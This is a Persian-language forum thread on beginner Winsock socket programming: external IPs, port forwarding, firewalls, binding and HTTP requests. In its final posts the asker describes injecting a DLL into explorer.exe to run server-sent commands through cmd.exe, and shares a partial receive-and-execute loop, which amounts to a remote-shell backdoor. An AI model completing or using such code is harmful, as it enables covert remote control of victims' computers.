PDA

View Full Version : سوال در مورد سوکت زدن و نحوه جواب گرفتن



fahimeh1512
پنج شنبه 15 اسفند 1392, 18:43 عصر
سلام دوستان من اولین باره میخوام به یه سرور سوکت بزنم
تو سایت هم چند بار گشتم و سوالای مرتبط با اونو خوندم یه کلاینت و سرور هم نوشتم و امتحان کردم کارکرد ولی هنوز یه چیزایی واسم مبهمه
مثلا این که 1-اگه بخوام کلاینتمو تو اینترنت امتحان کنم و یه ای پی بهش بدم که بهش وصل بشه اون ای پی نمیتونه یه ای پی معمولی باشه؟ منظور از ای پی ولید دقیقا چیه؟؟
2-فرض کنید بخوام از اون سرور جواب بگیرم (حالا هر جوابی باشه فقط بتونه یه رشته رو به کلاینت بفرسته) با همون کد کلاینت کانکت میشم تابع recv رو هم گذاشتم ولی باید چیکار کنم که سرور داده ای بفرسته؟

hamedlll
پنج شنبه 15 اسفند 1392, 20:48 عصر
همه ی isp ها(تا جایی که من دیدم) ip های که میدن ولیده, ip که به کلاینت میدید که به سرور وصل بشه باید ip اکسترنال شما باشه یعنی با 192.168 شرو نشه.
اگه با wifi وصل میشید یعنی ip اینترنال دارید که اگه بخواهید سرور باشید باید تنظیمات port forwarding داخل مودم انجام بدید اگرم با lan وصل میشید یعنی سیستم مستقیما ip میگیره نیازی به port forwarding نیست.
حواستون باشه که firewall سرور رو بلاک میکنه اگه نیاز شد allow کنیدش.

fahimeh1512
پنج شنبه 15 اسفند 1392, 23:23 عصر
ممنون برای سوال دومم راهی دارین؟ میخوام بعد از این که به سرور وصل شدم از سمت سرور یه چیزی ارسال بشه بهم:متفکر:

fahimeh1512
جمعه 16 اسفند 1392, 00:04 صبح
حواستون باشه که firewall سرور رو بلاک میکنه اگه نیاز شد allow کنیدش.
منظورتون توضیحاییه که تو قسمت Enable loopback for network accessتو لینک زیر گفته شده؟http://msdn.microsoft.com/en-us/library/windows/apps/hh780593.aspx
از CheckNetIsolation.exe میشه برای رد کردن فایروال میشه استفاده کرد؟

negative60
شنبه 17 اسفند 1392, 21:54 عصر
اگه تنظيمات ADSL به صورت PPOE کانفيگ کرديد بايد از قسمت port forwarding پورت مورد نظرتون رو اضافه کنيد يا کانفيگ مودم رو از PPOE به Bridge تغيير بديد و از داخل ويندوز با ساختن کانکشن و وارد کردن يوزرنيم و پسورد به اينترنت وصل بشيد.
دوم اينکه نياز به دور زدن فايروال نداريد زمان اجرای برنامه پيغامی از طرف فايروال نمايش داده ميشه که ميتونيد اون رو Allow کنيد اگه از ويندوز 7 يا 8 استفاده ميکنيد حتماً تيک Public رو بزنيد, به صورت دستی هم ميتونيد برنامتون رو به فايروال ويندوز اضافه کنيد.

در کد نويسی هم دقت کنيد آيپی خاصی رو بايند نکنيد و از دستور INADDR_ANY استفاده کنيد.



struct sockaddr_in ServerAddr;
int intErr;
ServerAddr.sin_addr.S_un.S_addr = htonl(INADDR_ANY); //inet_addr("127.0.0.1");
ServerAddr.sin_family = AF_INET;
ServerAddr.sin_port = htons(ListenPort);

intErr = bind(ListenSocket , (struct sockaddr *) &ServerAddr, sizeof(ServerAddr));
if(intErr == SOCKET_ERROR) {
printf("cannot bind to the port: %d\n", ListenPort);
WSACleanup();
return 0;
}

fahimeh1512
شنبه 17 اسفند 1392, 22:28 عصر
ممنون ولی این که شما میگین برای سروره من میخوام با کد کلاینت به سایتی وصل شم و از اون سرور غیرلوکال داده بگیرم
درخواستایی که کلاینت به سرور میده چی هستن که بشه ازشون جواب گرفت؟؟:افسرده:

negative60
شنبه 17 اسفند 1392, 22:49 عصر
اگه منظورتون وب سرور هست بايد طبق استاندارد پروتوکل HTTP کار کنيد در حقيقت بايد با اين پروتکل رو ياد بگيريد

به عنوان مثال برای باز کردن يک سايت يا دانلود يک فايل بعد از کانکت شدن سوکت بايد درخواست رو به اين شکل ارسال کنيد



[GET / HTTP/1.1
Host: blogfa.com
User-Agent: MyName
Connection: keep-alive


]

(بدون آکولاد)

بعد از ارسال درخواست نتيجه از طرف سرور برای کلاينت ارسال خواهد شد

fahimeh1512
شنبه 24 اسفند 1392, 20:16 عصر
با سلام مجدد
اگر تو یه کلاینت و سرور لوکال که به ترتیب به هم رشته ارسال میکنن و بعد منتظر پاسخ میمونن (با همون توابع معروف send , receive)
فرض کنیم بخوایم کلاینت دستوری که از سرور میگیره رو همون لحظه به سی ام دی بفرسته (دقت کنین کد ارسال و دریافت تو حلقه بی نهایته و مرتبا تکرار میشه)
من کد کلاینت رو تو دی ال ال گذاشتم میخوام اون دی ال ال رو به اکسپلورر اینجکت کنم و با تابع CreateProcess سی ام دی رو اجرا کنم و دستورای کلاینت رو بهش بفرستم که اجرا کنه
حالا سوال من اینه
1- با توجه به این که این حلقه مدام تکرار میشه بهینه نیست که تو هرحلقه CreateProcess اجرا بشه و در همون حلقه دوباره اون پروسه terminate بشه ایا راهی هست که قبل از شروع حلقه یه بار این تابع رو اجرا کنم و داخل حلقه دستورا رو سری به سری بهش بفرستم؟
2- با توجه به این که کل کدم تو یه دی ال ال داره اجرا میشه اگه اکسپلورر بسته بشه پروسه سی ام دی هم خاتمه پیدامیکنه و باید دوباره کارمو شروع کنم؟ میخوام تا زمانی که اکسپلورری تو سیستم بازهست این روال ادامه داشته باشه

ممنون میشم اگه راهنمایی کنین خیلی بهش نیاز دارم

fahimeh1512
شنبه 24 اسفند 1392, 21:05 عصر
اینم تیکه کدمه

while (1) {

memset(send_buf,0,99);
memset(rec_buf,0,99);


//recieve commands from server
int inDataLength=recv(Socket,rec_buf,100,0);


if (CreateProcessA("C:\\Windows\\System32\\cmd.exe",rec_buf,NULL,NULL,FALSE,0,NULL,NULL,&startupInfo,&processInfo))
{
//send results to server
std::cout<<"\nresult:";
gets(send_buf);
send(Socket,send_buf,strlen(send_buf),0);
}
else {
char *failure="operation failed!";
send(Socket,failure,strlen(failure),0);
}
}